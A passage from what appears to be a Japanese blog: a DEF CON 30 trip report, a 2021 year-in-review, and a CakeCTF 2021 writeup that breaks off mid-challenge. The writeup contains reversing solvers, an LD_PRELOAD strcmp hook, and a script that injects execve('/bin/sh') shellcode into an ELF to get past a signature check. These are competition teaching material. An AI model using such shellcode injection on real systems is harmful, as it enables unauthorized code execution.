DEF CON 30 に参加しました
はじめに
2022年8月10日〜17日(JST)の約1週間、Las Vegasに行ってDEF CON 30に参加してきました。5月ごろ開催されたDEF CON CTF Qualifierにチーム./V /home/r/.bin/tw
の一員として参加し、決勝に現地勢として参加することになったという経緯です。
旅行編
1日目
まず最初に持っていたバッグが破損しました。キャリーバッグと背中にかけるバッグの2つを持っていましたが前者は持ち手が、後者はジッパーが壊れました。気をつけたほうがよいです。
ちなみに、日本とアメリカは16時間も時差があるのでこの日は睡眠調節のために徹夜していました。今振り返るとこの行動はかなり正解で、アメリカに入国してから時差ボケや体調不良なく過ごすことができました。始発の新幹線に乗り9時頃に品川へ到着しました。新幹線の中では人生初のシンカンセンスゴクカタイアイスを食べました。おいしかったです。
その後京急線に乗って羽田空港第3ターミナルに行きました。品川駅の京急線のホームはデザインがかなり考えられていて、初見でも迷わずに電車に乗れました。ありがたい。空港についたあと最初にkurenaifさんを発見し、続けてチームメンバーと合流しました。この時点で12時を過ぎていて、朝からアイスしか食べていなかったので一緒にラーメンを食べました。CTFの小話ができて楽しかったです。
搭乗手続きは何事もなく進み無事飛行機に乗ることができました。国際線に乗るのは初めてで、3x3列のシートがあるのが新鮮でした。機内食は2回ありました。パンとバターが自分は一番好きでした。
飛行機の中で一番驚いたのは窓の遮光の仕組みでした。カーテンのようなものを想像していましたが、謎の仕組みで光が遮られるようになっていました。電子シェードと呼ばれる技術が使われているらしいです。へー。
機内の照明が落とされたあたりから眠くなり、3回程度寝て起きてを繰り返すとサンフランシスコ国際空港についていました。
自分は飛行機に乗ると耳が痛くなる体質で、特に今回は11時間のフライトだったのでかなり辛かったです。このあとsatokiさんに対策を教えてもらいどうにかなりました。
空港ではCBPによる入国審査がありました。英語のリスニング・スピーキングができるかかなり心配でしたがこれは思いの外なんとかなりました。が、別のところに問題がありました。審査の際にDEF CONへの招待状や泊まるホテルの予約証明を求められましたが何ももっておらず、審査官に怪訝な顔をされて別室に連れて行かれました。かなり緊張しましたが、いくつか追加の質問をされて最終的には入国を許可されました。筋骨隆々のアメリカ人に謎の部屋に連行される体験はもうしたくないです。最後に質問された"Are you a hacker?"への正しい返答が何だったのかはいまだにわかりません。あと携帯使用禁止の掲示に気づかずTwitterをしていたら怒られました。
その後、乗り換えで2時間程度暇な時間があったので空港内を見て回りました。寿司屋と思しきものがあって面白かったです。
途中でモンスターを大量に売っているお店を見つけたのでモンスターを飲みました。日本では見たことのないスイカ味と書いてあるものを選びましたが、結構美味しかったです。日本のモンスターよりも薬感が強い印象でした。
2回目のフライトを経てマッカラン国際空港に到着しました。2つ目のフライトは国内線だったので国際線と比べるととても楽でした。窓から少し離れた席だったので外の景色をあまり見ることができませんでしたが、本当に砂漠の中に都市があり驚きました。空港では、搭乗口を通るとすぐにルーレットがありカジノの主張が強かったです。ちなみにカジノは全面的に撮影禁止だったので、残念ながら写真を撮ることはできませんでした。Welcome to LAS VEGASのゲートを通るとすぐイグアナの置物がありとてもかわいかったです。
空港内には移動のために鉄道が敷設されていて規模感の違いを感じました。空港で手荷物を受け取った後はホテルに移動しました。移動にはUberを使いましたが、数分で車が到着してかなり体験がよかったです(田舎民のためUber Eatsすら使ったことがない)。ホテルはFlamingo Las Vegasで約30階建ての非常に大きな建物でした。
このホテルを含め、あらゆる施設にカジノが付属していて(あるいはカジノにホテルが付属していて)ラスベガスがラスベガスたる所以を理解しました。アメリカだと水道水が飲めず飲料水をお店で買うことになります。ホテル近くのWalmartで24本セットの飲料水を2つ買いました。夕食にはCaesars Palaceのフードコートでピザを食べました。1スライスを頼むと日本のピザの2枚分ぐらいが出てきました。少し量が多かったですが非常に美味しかったです。
ホテルのチェックインは機械でできるハイテク仕様でしたが、無限にエラーを吐かれたので結局人にしてもらいました。英語力がかなりカスだったので苦労しました。ホテルに帰った後は疲れていたので10時ぐらいに寝落ちしました。
2日目
この日は6時ぐらいに起床しました。朝食はチームの8人でDenny'sに行きました。朝食からかなり重い食事が出されつらかったです。このあたりから1日2食の超空腹と超満腹を行き来する生活が続きます。
腹ごしらえをしたあとはDEF CONの会場であるCarsars Forumに行きました。この会場を含めラスベガスの建造物は規模が異常で、ただただ巨大でした。
DEF CON初日はCTFが開催されずバッジを受け取るだけで、とくにすることがなかったので物販に行くことにしました。物販の列に並ぶタイミングが悪くて行列がかなり長くなっており、部屋にたどり着くまで2時間程度かかりました。が、一緒に並んでいたkurenaifさんやn4nuさんと面白い話ができてよい時間を過ごせました。物販にはTシャツやパーカー、コップなどが売っており自分は$135の買い物をしました。ちなみにクレジットカードには対応しておらず現金での決済のみでした。現金ではこれが最大の買い物になりました。
列に並んでいる途中でスタッフの方々(DEF CONではGOONと呼ぶらしい)が手にびっくりチキン1を持って列の整理をしていて面白かったです。
物販の後はホテルの周りを観光しました。Bellagioの噴水に一度行きましたがまだ昼の時間帯だったので動いておらず、単に巨大な池があっただけでした。夜までは時間があったのでBattlefield Vegasへ銃を打ちに行きました。ここではハンドガン、アサルトライフルなどを$135で打つことができました。一緒に行ったメンバーの中にはすでに銃を打ったことのある人が数名いて、特にptr-yudaiさんはかなり慣れている様子でした。壁にはられていた絵がかわいかったです。
夕食はSUBWAYに行きました。
ホテルに帰った後はicchyさんからDEF CONのバッジを受け取りました。今年はキーボードを模していて実際に演奏することができるものでした。バッジ自体は分解して解析できるようになっていて、これにはまったく取り組めていないので帰ったら調べてみたいです。ホテルのスイートルームで軽いミーティングもありました。入国前のチームミーティングである程度役割は決まっていて、使うツールやインフラ周りの確認が主な内容でした。この日も23時ぐらいに寝落ちしました。
3日目
ほぼ毎日寝落ちしていたので朝に風呂に入るようになっていました。ところで部屋の清掃がまったくされず電話が必要だったところに日本のホテルとの差を感じました。現金でのチップもこの日が初めてでした。
朝食はWahlburgersでハンバーガーを食べました。食べるたびに肉汁と野菜がこぼれ落ちていきなかなか美味しかったです。
CTFの会場が開くのは9:00からでしたが我々は8:30ごろに到着したので外で待機していました。他のチームも同じような行動をしていて、待機している間は他のチームを観察していました。この時点ですでに人数や資金力の差を感じました。荷物を会場に運んだ後は、経験者が会場からCTFに参加し、初参加勢はホテルから参加することになりました。
4日目
略(DEF CON CTF)
5日目
CTFが急に終わり、予定より1時間早い13:00にスコアボードが閉じられました。予告もなく突然終了したのでいまだに微妙な気持ちになっています。CTFが終わった後はチームで写真を取りました。ちなみにチームの旗は持って帰る人がいなかったので僕がもらうことになりました。ありがとうございます。CTFが終わったあとにDEF CONの各Villageを回ろうと思っていましたがこの時間にはもうほとんどのブースが閉じられていて、実はほとんど回ることができませんでした。かの有名なWall of Sheep含め何も見られていないので少し後悔しています。ということでここからは何も予定がなくなったので、ひとまず昼食にタコスを食べに行きました。
道の途中で看板の一つがブルスクになっていて面白かったです。
ここでxrekkusuさんにSwarmを教えてもらい使い始めました。確かに行った場所の記憶はあいまいになりがちなので、こういう記録をつけておくのは重要だと納得しました。昼食を食べたあとほとんどの人はカジノに行きましたが、自分はまだカジノに行ける年齢ではなかったのでkeymoonさんと一緒に観光することにしました。一旦ホテルに戻って休んだあと、ホテルに隣接している動物園?のようなところに行きました。Flamingoというホテルの名前のとおりフラミンゴがいました。実はフラミンゴを見るのは初めてでよい体験でした。
その後はHigh Rollerなる観覧車に乗りました。最上部で550 ft(168 m)の高さがあるらしいです。すごい。遠景が見えるようになると砂漠に囲まれている様子がわかり、この都市の特異さをよく感じました。
観覧車から降りると、次にCaesars Palaceのホテルを探索しました。ラスベガスのホテルは様々な施設を内包しており、ブランドショップやカンファレンスルーム、プールなどが一つの建物で完結していることが多いです。その中でもカンファレンスルームは個人的にかなり好きな空間でした。ちょうどこのときはカンファレンスルームが使われておらず、ただっぴろい空間にだれもいないという最高の空間でした。部屋の名前には神話に登場する神々の名前が使われており、これも最高でした。ホテルに入ってから出るまで1~2時間かかっていて、これだけでかなり時間を潰せました。
ホテルを出たあとは再びBellagioの噴水を見に行きました。今回はちょうど噴水が動いている時間帯で、噴水の音や水しぶきに圧倒されていました。 夕飯はSushi burritoを食べました。生地には海苔とトルティーヤが選択できたので、トルティーヤを選びました。日本料理とアメリカ料理を悪魔合体させたような味で、寿司なのになぜかピリ辛という謎の味がしました。一緒に頼んだマンゴーレモネードが一番美味しかったです。
ところでラスベガスでは看板にシールを貼り付ける行為が横行しているようなんですが、このキャラクターがかわいかったです。かわいい。
時間帯によって景色が変わるのは日本もラスベガスも同じですが、ラスベガスではその程度が大きかったように感じています。同じ場所でも朝・昼・夜で全く印象が異なるので、これだけでも楽しむことができました。
6日目
朝にWorksite LabsでPCR検査を受けました。検査場が駐車場の一角にあり見つけるのにかなり苦労しました。検体の採取は自分で行う形式で、鼻腔内にものを突っ込むのが苦手なのですこし苦しかったです。
途中で顔が手になっているハローキティに出会いました。怖い。
まだ朝食を食べていなかったので、同じ建物内にあったフードコートで食事をとりました。icchyさん、keymoonさんと一緒にピザをホールで食べました。周りから完食できるか心配されましたが、3スライス食べても意外と余裕でした。これが若さらしいです。
帰りのUberでは運転手の方にビーフジャーキーをいただきました。が、正直何を言っているのか聞き取ることができず、リスニング能力の限界を痛感しました。
ホテルに戻った後はCVS Pharmacyへ行っておみやげを買いました。一緒に買ったレモネードが美味しかったです。アメリカでレモネード以上に美味しい食べ物に出会った記憶がありません。
ところでこれはエレベーターの写真ですが、壊れていそうな雰囲気がありアメリカクオリティを感じました。
実はこれ以外にも1つの階から動かないエレベーター、階数のボタンを押しても消えるエレベーターなどがあり見る分には面白かったです。
ちょうどおみやげを買い終わったあたりでPCR検査の結果がメールで届きました。朝の9時に検査を受けたので9時間程度で結果が届いたようです。陰性の文字を見て謎の解放感で満たされていましたが、帰国後も予定が詰まっていたので理性を強めていました。
夕食はDenny'sに行きスキレットを食べました。名前をよく見ずに頼むと激辛の料理が出てくるので気をつけたほうがよいです。ここでもまたストロベリーレモネードを飲みました。これが一番美味しかったです。
わりと時間が余っていたのでシルク・ドゥ・ソレイユを観に行こうと思ったのですが、チケットの予約画面が進まなかったので諦めました。実はかなり残念で、またLas Vegasに行くことがあれば必ず観に行きたいです。
通り道だったので3度目のBellagioの噴水を観に行きましたが、強風で中止になっていました。
7日目
朝食にスターバックスのサンドイッチを食べました。人生初のスターバックスで、想像より全然注文が楽だったので驚きました。コーヒーの容器にやけど注意と書かれていたにも関わらずやけどしてかなりバカになっていました。
ところでこれはコンセントの画像です。よき。
帰り道にWalmartがあったので、前日satokiさんに教えてもらったドクターペッパーのチェリー味を飲みました。ドクターペッパーは箱買いするほど大好きで、この味もかなり好みでよかったです。チェックアウトの際に部屋に置き忘れてしまい1/5ほど残してしまったのが残念でした。
このホテルはチェックアウトが部屋のテレビからできてハイテクでした。結局領収書を得るためにカウンターに行くことになったので、別にチェックアウトを部屋でする必要はありませんでしたが。領収書をメールで送ってもらうためにメールアドレスを伝える必要があったのですが、発音が悪く無限に伝わりませんでした。最終的に紙を渡され手書きで伝えましたがなぜがこれでも伝わらず苦労しました。
これはチェックアウトの機械の画像です。
チームメンバー全員がチェックアウトしたのを確認し、Uberで空港へ向かいました。前日にMySOSで手続きをしていたのですぐチェックインが終わり快適でした。MySQLと紛らわしいという話を聞いて頷いていました。
ラスベガスの空港には動物の置物が複数設置されており、帰りはうさぎをみつけました。かわいい。
セキュリティを抜けた後お腹が空いていたのでKFCで食事をとりました。小さめのハンバーガーを頼んだつもりが大きいものが出てきて驚きました。最近野菜のありがたさに気づきつつあります。
帰りは行きと同様2つの飛行機に乗りました。1つ目のLAS→LAXのフライトは約1時間の予定でしたが、目を閉じたあと気づくと着陸していて怖かったです。2つ目のLAX→HNDのフライトはANAが運行しているもので日本語の案内がありました。日本語の会話には安心感よりも違和感を感じ、まだ帰国していないのに帰国した感がありました。
機内食は2回ありました。KFCで食事を取ったためにすでに満腹になっていて食べるのがつらかったです。
1時間程度出発の遅延があったにも関わらずほぼ定時に到着していて、飛行機にも回復運転の概念があったんだなと思うなどしました。
税関の電子申告とファストトラックを利用したため、飛行機が着陸してから1時間で入国できました。 そこからは都内のホテルで一泊して新幹線で帰宅し、got a kotonakiしました。
CTF編
https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20ctf/ が200になって暇だったら書きます。
振り返り
よかったところ
思ったより英語はなんとかなった
海外に行く上で一番の不安は英語でコミュニケーションができるかどうかでしたが、これは意外とどうにかなりました。最低限のリスニングと最低限のスピーキングができれば最低限の会話は成立します。僕でもソロで1日程度観光や買い物などができる程度だったので、行動を妨げる要因が英会話しかないのであればとりあえずしてみるのがよいと思います。
特に雑談レベルの会話においては、相手が親切な方だと翻訳アプリを使ってもらえるような場合もあるそうです。
したいことが増えた
DEF CON 30やDEF CON CTFへの参加を通してあらゆるモチベーションが高まりました。このようなカンファレンスに現地で参加するのが初めてだったのに加え、興味を掻き立てられるような物品がそこら中にあるので自然と「〜したい」と思うようになっていました。インターネットは基本的には自分が探しているものしか見つけられず、偶発的な出会いはTwitterに任せていた面があるので、こういったイベントに現地で参加することの意義を強く感じました。
CTFプレイヤーと交流できた
インターネットでしか話したことのなかったCTFプレイヤーや、リアルワールドでセキュリティに関わる仕事をしている人と軽く話をすることができました。自分自身がそろそろ進路を確定させなければならない時期なのもあって、このような機会をもつことができてよかったと思います。同時に、後述する英語力の不足を感じる場面でもありました。
次に挑戦したいこと
英語力を高める
英会話があまり得意でなくても生きて帰国することができましたが、もっと英語ができたらなと思う場面がいくつもありました。これは主にリスニング力の欠如によるところが大きいので、勉強していきたいです。
DEF CONに参加する
今回はDEF CON CTFにほとんどの時間を吸われたためDEF CON自体にはあまり参加できませんでした。行ってみたいVillageや聞きたい発表のリストを作ってはいたものの作っただけで終わってしまったので、次年度以降でDEF CONに参加する機会があればもっと積極的に行動したいです。
精進する
世界のCTFトッププレイヤーの姿を間近で見られたことで、CTFへの意欲が急激に高まりました。今回DEF CONに参加することができたのは運がよかったとしか言いようがなく、次回は自力で世界大会に参加できるよう精進していきたいです。
持ち物
またいつか海外旅行に行くときのために持っていって使用したもののリストを残しておきます。 書類や予定表などは印刷しておくとトラブルが少なくてよいです。 あと招待状や予約証明があれば持っておくと入国時に役立ちます。
- 書類
- 身の回り
- PC周り
- PC
- スマホ
- 充電器
- ケーブル
- ワイヤレスイヤホン類
- 電源タップ
- SIMカード(https://www.amazon.co.jp/dp/B07RFQNF7J)
- 財布
- クレジットカード
- 現金 $370
おわりに
非常に楽しい1週間でした。体感では一瞬でしたが参加記を書いてみると記憶していたよりも充実していたようです。 今はあらゆるモチベーションが高まっており、それだけでも貴重な体験だったことを痛感しています。 まずは目の前の受験をがんばります。
なお、今回のDEF CON参加にあたってチームメンバーを始めとした多くの方々に助けていただきました。また、株式会社リチェルカセキュリティ様には渡航費・宿泊費など多大なご支援をいただきました。ありがとうございました。
さらには精神疾患の診断を受けて1ヶ月というシビアなタイミングでの海外渡航でしたが、時差を考えず深夜に画像を送りつけてもメッセージを返してくれる人がいてくれて大変助かりました。ありがとうございました。
圧倒的感謝。
2021年の振り返り
導入
ニッコロ・ニッコリという人名を見てニコニコしていたら、もう2021年が終わるらしい。年を取ると時間が早く進むのは俗世から隔絶された高専生も例外ではないようだ。年と時間の感覚については森見登美彦『夜は短し歩けよ乙女』に登場する表現が自分の中ではしっくりきていて、それは中学生のときから変わっていない。変わらないものばかりであればよいのだが、残念なことにそうではない。ということで、脳のメモリダンプを残しておく。
あ、最近小樽あまとうのマロンコロンをいただいたのだがおいしかったのでぜひ食べてみてほしい。
買ったもの
お年玉もお小遣いも全額貯金するような少年であったことを思えば、高専でお金を使うことを学んだと言っても過言ではないような気がする。MacBook Airが金額的に一番大きな買い物だったが、結局開発機には宗教上の理由からThinkPad X1 Carbonを使用している。
- iPad Pro 11-inch (1st gen)
- WD Blue SN550 NVMe SSD 500GB
- Leap Motion Controller
- iPhone 12 mini
- MacBook Air (M1, 2020)
読んだ本
今年はたくさんの本を人に貸してもらった。非常にありがたい。 深夜になって突発的に本を読み始めるため、徹夜して授業を睡眠時間に充てるといったことが何回かあった。知り合いに言わせれば「命を削りながら本を読んでいる」イメージらしいのだが、特に支障をきたしているわけでもないので問題ない。 以下に読んだ本をまとめているが、本の管理をReadeeからブクログへ移行したので抜けがあるかもしれない。
- 『君を愛したひとりの僕へ』、乙野四方字、早川書房
- 『僕が愛したすべての君へ』、乙野四方字、早川書房
- 『エンジニアの知的生産術』、西尾泰和、技術評論社
- 『すいかの匂い』、江國香織、新潮社
- 『集合・写像・論理』、中島匠一、共立出版
- 『砂糖の世界史』、川北稔、岩波書店
- 『わが闘争 : 完訳 第1』、アドルフ・ヒトラー 、平野一郎、高柳茂、黎明書房
- 『蛇』、吉野裕子 、法政大学出版局
- 『あなたのための物語』、長谷敏司、早川書房
- 『BEATLESS』、長谷敏司、角川書店
- 『大学生物学の教科書 第1巻 細胞生物学』、デイヴィッド・サダヴァ、丸山敬、石崎泰樹、講談社
- 『経済政策で人は死ぬか?』、デヴィッド スタックラー、サンジェイ バス、橘明美、臼井美子、草思社
- 『生まれてこないほうが良かったのか?』、森岡正博、筑摩書房
- 『教場』、長岡弘樹、小学館
- 『憲法への招待 新版』、渋谷秀樹、岩波書店
- 『数学文章作法 基礎編』、結城浩、筑摩書房
- 『理科系の作文技術』、木下是雄、中央公論新社
- 『メタ倫理学入門』、佐藤岳詩、勁草書房
- 『蜜蜂と遠雷』、恩田陸、幻冬舎
- 『Hacking: 美しき策謀 第2版』、Jon Erickson、村上雅章、オライリージャパン
- 『ハーモニー』、伊藤計劃、早川書房
- 『虐殺器官』、伊藤計劃、早川書房
- 『誰の健康が優先されるのか』、グレッグ・ボグナー、イワオ・ヒロセ、児玉聡、岩波書店
- 『アジャイルサムライ』、Jonathan Rasmusson、西村直人、角谷信太郎、近藤修平、角掛拓未、オーム社
- 『プロセッサを支える技術』、Hisa Ando、技術評論社
- 『少女には向かない職業』、桜庭一樹、東京創元社
- 『解析入門30講』、志賀浩二、朝倉書店
- 『新世界より(上)』、貴志祐介、講談社
- 『はじめての数論 原著第3版』、Joseph H. Silverman、鈴木治郎、丸善出版
- 『リバースエンジニアリングバイブル』、姜秉卓、金輝剛 、金凡峻、インプレス
- 『リバースエンジニアリングツールGhidra実践ガイド』、中島将太、小竹泰一、原弘明、川畑公平、マイナビ出版
- 『作って理解するOS』、林高勲、川合秀実、技術評論社
- 『Binary Hacks』、高林哲、鵜飼文敏、佐藤祐介、浜地慎一郎、首藤一幸、オライリージャパン
- 『リンカ・ローダ実践開発テクニック』、坂井弘亮、CQ出版
- 『めんどうくさいWebセキュリティ』、Michal Zalewski、上野宣、新丈径、翔泳社
- 『暗号技術のすべて』、IPUSIRON、翔泳社
- 『名所・旧跡の解剖図鑑』、スタジオワーク、エクスナレッジ
- 『実例で学ぶゲーム3D数学』、Fletcher Dunn、Ian Parberry、松田晃一、オライリージャパン
- 『はじめてのOSコードリーディング』、青柳隆宏、技術評論社
- 『ゲーム制作者のための物理シミュレーション 剛体編』、原田隆宏、松生裕史、西川善司、インプレス
- 『解題pwnable』、草野一彦、インプレスR&D
- 『初めて学ぶ人のための群論入門』、横田一郎、現代数学社
- 『ガロア理論の頂を踏む』、石井俊全、ベレ出版
- 『カーハッカーズ・ハンドブック』、Craig Smith、井上博之、自動車ハッククラブ、オライリージャパン
- 『はじめよう位相空間』、大田春外、日本評論社
- 『Building Secure Firmware』、Jiewen Yao、Vincent Zimmer、Apress
- 『幾何への誘い』、小平邦彦、岩波書店
- 『複素関数入門』、神保道夫、岩波書店
- 『解析入門 原書第3版』、S.ラング、松坂和夫、片山孝次 、岩波書店
- 『憲法概観 第7版』、小嶋和司、大石眞、有斐閣
- 『線形代数学』、川久保勝夫、日本評論社
- 『作って動かすALife』、岡瑞起、オライリージャパン
- 『オイラーの贈物』、吉田武、東海教育研究所
- 『デザイン入門教室』、坂本伸二、SBクリエイティブ
- 『違国日記(1)』〜『違国日記(5)』、ヤマシタトモコ、祥伝社
- 『チェンソーマン(1)』〜『チェンソーマン(11)』、藤本タツキ、集英社
- 『日本神話を見直す』、水野祐、學生社
- 『自傷からの回復』、V・J・ターナー、みすず書房
- 『代数的構造』、遠山啓、筑摩書房
- 『憲法学読本 第3版』、安西文雄、有斐閣
- 『悲鳴伝』、西尾維新、講談社
- 『ヴィクトリアの電気棺(1)』、田島生野、スクウェア・エニックス
- 『ゆうやけトリップ(1)』、ともひ、芳文社
- 『終末ツーリング(1)』、さいとー栄、角川書店
- 『疑似ハーレム(1)』〜『疑似ハーレム(5)』、斎藤ゆう、小学館
- 『東京入星管理局(1)』、窓口基、ジーオーティー
- 『合コンに行ったら女がいなかった話(1)』〜『合コンに行ったら女がいなかった話(2)』、蒼川なな、スクウェア・エニックス
- 八咫烏シリーズ、阿部智里、文藝春秋
- 『烏は主を選ばない(1)』〜『烏は主を選ばない(2)』、阿部智里、松崎夏未、講談社
- 『Thisコミュニケーション(1)』〜『Thisコミュニケーション(5)』、六内円栄 、集英社
見たアニメ、映画
昼休みの30分程度の空き時間でアニメを見るようになった。以前はTwitterをポチポチしていたので、少しは文化的な生活に近づいたのかもしれない。映画を映画館で見たのは5年ぶりで、音響にひたすら感動していた。山を降りて始発の電車に乗ったり、知り合いとご飯に行ったり、駅で学校の人に出会ったりと色々なことがあって疲れたことだけは覚えている。
- 白い砂のアクアトープ
- マブラヴ オルタネイティヴ
- 結城友奈は勇者である -大満開の章-
- 先輩がうざい後輩の話
- 86―エイティシックス―
- シン・エヴァンゲリオン劇場版𝄇
聴いた音楽
ワイヤレスイヤホンを買ったことで音楽を聴く時間が昨年より増えた。あいも変わらず流行に疎いので、「ぜったい流行る」と思った曲が数年前の曲だったりする。最近はぽんずさんやr-906さんの曲をよく聴いていた。DUSTCELLさんとEMAさんもよろしくお願いします。
https://soundcloud.com/discover/sets/your-playback::arata-nvm:2021 https://www.nicovideo.jp/mylist/57619864
総括
SecHack365やseccamp、高専プロコンなどのイベントに加え各種大会に参加していたので昨年よりは忙しい日々を過ごすことになった。ほかには学校の食堂で半年間アルバイトをしたり、授業で市職員や企業の方々とお話したりなど、社会と関わる機会も増えてきた。ことあるごとに自分は社会人に向いていないなと思ったりするのだが、その話をすると長くなるのでここでは割愛する。 あとは、重複しかない一部の授業に嫌気が差して試験対策がすべて一夜漬けになった。過去のつながりで試験前に質問が飛んでくるのだが、私に教えられることはなにもない。申し訳ない。
CakeCTF 2021 Writeup
CakeCTF 2021にチームKUDoSで参加しました。スコアは4145点で6/157位でした。
解けた問題のWriteupを書きます。
いつもはScrapboxにまとめているんですが、公開範囲の設定ができないのではてなブログに複製しました。
reversing
nostrings
配布されたバイナリをGhidraで解析します。
undefined8 FUN_001011a9(void) { undefined8 uVar1; long in_FS_OFFSET; int local_60; int local_5c; char local_58 [72]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("flag: "); __isoc99_scanf(&DAT_0010200b,local_58); local_60 = 1; local_5c = 0; do { if (0x39 < local_5c) { if (local_60 == 0) { puts("-_- < flag in the string..."); } else { puts(".O. < i+! +o6 noh"); puts(">v< this is the flag"); } uVar1 = 0; LAB_001012ae: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar1; } if (local_58[local_5c] == '\x7f') { puts("^o^"); uVar1 = 1; goto LAB_001012ae; } local_60 = (uint)((uint)(byte)s__00104020[(long)(int)local_58[local_5c] * 0x7f + (long)local_5c] == (int)local_58[local_5c]) * local_60; local_5c = local_5c + 1; } while( true ); }
s__00104020
にはダミーフラグが複数入っており、その中の文字と入力された文字を比較しています。
この条件を満たすような文字列を求めるとフラグが得られます。
import string with open("chall", "rb") as f: data = f.read()[0x3020:] flag = [" "] * 0x3a for c in string.printable: for i in range(0x3a): if data[ord(c) * 0x7f + i] == ord(c): flag[i] = c print("".join(flag))
Hash browns
First Bloodでした(うれしい)。
配布されたバイナリをGhidraで解析します。
undefined8 main(int param_1,undefined8 *param_2) { int iVar1; size_t sVar2; long lVar3; undefined8 *puVar4; undefined8 *puVar5; long in_FS_OFFSET; int local_3bc; undefined local_3b8 [4]; int local_3b4; int local_3b0; int local_3ac; undefined8 local_3a8; undefined8 local_208; undefined local_62; undefined local_61; undefined local_60; undefined local_5f; char local_5e [11]; char local_53 [11]; byte local_48 [16]; byte local_38 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puVar4 = &DAT_001020a0; puVar5 = &local_3a8; for (lVar3 = 0x32; lVar3 != 0; lVar3 = lVar3 + -1) { *puVar5 = *puVar4; puVar4 = puVar4 + 1; puVar5 = puVar5 + 1; } *(undefined4 *)puVar5 = *(undefined4 *)puVar4; *(undefined2 *)((long)puVar5 + 4) = *(undefined2 *)((long)puVar4 + 4); *(undefined *)((long)puVar5 + 6) = *(undefined *)((long)puVar4 + 6); puVar4 = &DAT_00102240; puVar5 = &local_208; for (lVar3 = 0x32; lVar3 != 0; lVar3 = lVar3 + -1) { *puVar5 = *puVar4; puVar4 = puVar4 + 1; puVar5 = puVar5 + 1; } *(undefined4 *)puVar5 = *(undefined4 *)puVar4; *(undefined2 *)((long)puVar5 + 4) = *(undefined2 *)((long)puVar4 + 4); *(undefined *)((long)puVar5 + 6) = *(undefined *)((long)puVar4 + 6); if (param_1 < 2) { printf("Usage: %s <flag>\n",*param_2,(long)puVar4 + 7); } else { sVar2 = strlen((char *)param_2[1]); local_3ac = (int)(sVar2 >> 1); if (local_3ac == 0x25) { for (local_3b4 = 0; local_3b4 < local_3ac; local_3b4 = local_3b4 + 1) { f(local_3b4,local_3ac,&local_3bc,local_3b8); if (local_3bc < 0) { local_3bc = local_3ac + local_3bc; } local_62 = *(undefined *)((long)(local_3b4 * 2) + param_2[1]); local_61 = 0; local_60 = *(undefined *)(param_2[1] + (long)(local_3b4 * 2) + 1); local_5f = 0; md5(&local_62,local_48); sha256(&local_60,local_38); for (local_3b0 = 0; local_3b0 < 5; local_3b0 = local_3b0 + 1) { sprintf(local_5e + local_3b0 * 2,"%02x",(ulong)local_48[local_3b0]); sprintf(local_53 + local_3b0 * 2,"%02x",(ulong)local_38[local_3b0]); } iVar1 = strcmp((char *)((long)&local_3a8 + (long)local_3b4 * 0xb),local_5e); if (iVar1 != 0) { puts("Too spicy :("); goto LAB_00101768; } iVar1 = strcmp((char *)((long)&local_208 + (long)local_3bc * 0xb),local_53); if (iVar1 != 0) { puts("Too spicy :("); goto LAB_00101768; } } puts("Yum! Yum! Yummy!!!! :)\nThe flag is one of the best ingredients."); } else { puts("Too sweet :("); } } LAB_00101768: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
入力値を1文字ずつ区切り、奇数位置の文字はMD5ハッシュ値を、偶数位置の文字はSHA-256ハッシュ値をとっています。そしてバイナリ内にある文字列とそれらをstrcmp(3)で比較しています。
比較している文字列はLD_PRELOADを使って関数を差し替えると簡単に取得できます。
$ cat strcmp.c #include <stdio.h> int strcmp(char *s1, char *s2) { printf("%s\n", s1); return 0; } $ gcc -shared -fPIC strcmp.c -o strcmp.so $ LD_LIBRARY_PATH=./ LD_PRELOAD=./strcmp.so ./hash_browns `python -c "print('A'*0x25*2)"` 0d61f8370c ca978112ca 8ce4b16b22 3f79bb7b43 0d61f8370c (略)
以上の情報をもとに、ハッシュ値からもとの文字列を求めるとフラグが得られます。
from hashlib import md5, sha256 import string log = """ 0d61f8370c ca978112ca 8ce4b16b22 3f79bb7b43 0d61f8370c (略) """ logs = log.split("\n")[1:-1] md5_hashes = {} sha256_hashes = {} for c in string.printable: md5_hashes[md5(c.encode()).hexdigest()[:10]] = c sha256_hashes[sha256(c.encode()).hexdigest()[:10]] = c flag = "" for i in range(0, len(logs), 2): flag += md5_hashes[logs[i]] flag += sha256_hashes[logs[i + 1]] print(flag)
rflag
バイナリの解析だけ担当しました。過密さんが解いてくれたので実質何もしていない。
第15回 数当てマジックと31の謎(前編)|数学ガールの秘密ノート|結城浩|cakes(ケイクス)
原理的にはこれと同じです。
ALDRYA
以下のファイルが配布されます。
aldrya
- ELFファイルと署名ファイルを与えると、署名を検証したのちELFファイルを実行してくれるバイナリsample.elf
- ELFファイルsample.aldrya
-sample.elf
の署名ファイルserver.py
- 問題サーバーで./aldrya <ELFファイル> ./sample.aldrya
を実行してくれるコード
問題サーバーでは署名ファイルがsample.aldrya
に固定されているので、署名の検証に失敗せずかつシェルを取れるようなELFファイルを作れ、という問題になります。
ソルバーを紛失したので解法は省略します。
配布されたsample.elf
の_start
関数にシェルコードを埋め込むという方針で解きました。
以下のコードで生成されるoutput.elf
を問題サーバーで実行するとシェルが実行されフラグを得ることができます。
# _start関数のアドレス place = 0x1060 # 埋め込むコードの生成 # http://shell-storm.org/shellcode/files/shellcode-905.php code = [0x6a, 0x42, 0x58, 0xfe, 0xc4, 0x48, 0x99, 0x52, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, 0x54, 0x5e, 0x49, 0x89, 0xd0, 0x49, 0x89, 0xd2, 0x0f, 0x05] size = len(code) + 32 code += [(1 << 3) | (1 << 5) | (1 << 6)] code += [0] * 5 code += [(1 << 6) | (1 << 7)] code += [0] * 3 code += [1 << 7] code += [0] * 1 code += [(1 << 6) | (1 << 7)] code += [0] * 4 code += [1 << 7] code += [0] * 3 code += [(1 << 6)|(1 << 7)] code += [1 << 7] code += [1 << 2] code += [0] * (size - len(code)) # ELFファイルに埋め込む with open("sample.elf", "rb") as f: data = f.read() data = list(data) for i in range(len(code)): data[place + i] = code[i] data = bytes(data) with open("output.elf", "wb") as f: f.write(data)
cheat
Kingtaker
Game Makerを使用して作られたゲームが与えられます。
Game Makerではグローバル変数がglobal
